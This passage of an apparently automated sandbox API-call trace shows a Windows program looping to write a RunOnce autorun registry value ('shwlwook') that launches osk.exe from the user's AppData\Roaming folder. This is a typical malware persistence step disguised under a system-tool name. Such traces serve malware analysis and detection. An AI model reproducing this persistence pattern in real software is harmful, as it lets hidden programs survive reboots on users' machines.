lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.314] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.314] RegCloseKey (hKey=0x14c) returned 0x0 [0265.314] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.314] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.328] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.328] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.329] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.329] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.329] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.329] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.330] RegCloseKey (hKey=0x14c) returned 0x0 [0265.330] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.330] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.344] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.344] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.344] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.345] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.345] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.345] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.345] RegCloseKey (hKey=0x14c) returned 0x0 [0265.345] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.346] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.360] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.360] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.360] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.361] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.361] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.361] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.361] RegCloseKey (hKey=0x14c) returned 0x0 [0265.362] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.362] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.797] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.797] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.797] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.798] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.798] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.798] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.799] RegCloseKey (hKey=0x14c) returned 0x0 [0265.799] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.799] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.813] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.813] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.814] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.814] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.815] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.815] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.815] RegCloseKey (hKey=0x14c) returned 0x0 [0265.816] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.816] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.833] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.833] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.833] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.834] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.834] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.834] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.834] RegCloseKey (hKey=0x14c) returned 0x0 [0265.834] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.836] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.846] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.846] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.847] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.847] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.847] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.848] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.848] RegCloseKey (hKey=0x14c) returned 0x0 [0265.848] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.849] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.862] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.862] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.863] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.863] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.863] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.863] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.863] RegCloseKey (hKey=0x14c) returned 0x0 [0265.864] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.864] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.890] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.890] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.890] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.891] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.891] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.891] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.891] RegCloseKey (hKey=0x14c) returned 0x0 [0265.892] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.892] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.909] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.909] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.910] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.910] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.910] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.910] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.911] RegCloseKey (hKey=0x14c) returned 0x0 [0265.911] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.911] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.925] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.925] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.925] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.926] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.926] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.926] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.926] RegCloseKey (hKey=0x14c) returned 0x0 [0265.927] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.927] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.940] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.940] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.941] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.941] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.941] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.942] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.942] RegCloseKey (hKey=0x14c) returned 0x0 [0265.942] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.942] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.956] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.956] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.956] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.957] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.957] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.957] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.957] RegCloseKey (hKey=0x14c) returned 0x0 [0265.958] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.958] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.971] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.971] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.972] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.972] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.972] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.973] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.973] RegCloseKey (hKey=0x14c) returned 0x0 [0265.973] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.973] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0265.993] TranslateMessage (lpMsg=0x95f69c) returned 0 [0265.993] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0265.994] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0265.994] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0265.994] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0265.995] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0265.995] RegCloseKey (hKey=0x14c) returned 0x0 [0265.995] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0265.996] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.007] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.007] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.008] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.008] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.009] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.009] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.009] RegCloseKey (hKey=0x14c) returned 0x0 [0266.009] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.010] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.027] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.027] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.027] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.028] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.028] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.028] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.028] RegCloseKey (hKey=0x14c) returned 0x0 [0266.028] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.029] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.042] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.042] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.042] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.043] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.043] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.043] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.043] RegCloseKey (hKey=0x14c) returned 0x0 [0266.044] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.044] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.275] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.275] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.276] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.276] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.276] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.276] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.277] RegCloseKey (hKey=0x14c) returned 0x0 [0266.277] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.277] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.292] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.292] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.292] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.293] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.293] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.293] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.293] RegCloseKey (hKey=0x14c) returned 0x0 [0266.294] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.294] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.308] TranslateMessage (lpMsg=0x95f69c) returned 0 [0266.308] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0266.308] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0266.309] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0266.309] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0266.309] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0266.309] RegCloseKey (hKey=0x14c) returned 0x0 [0266.309] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0266.310] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0266.323] 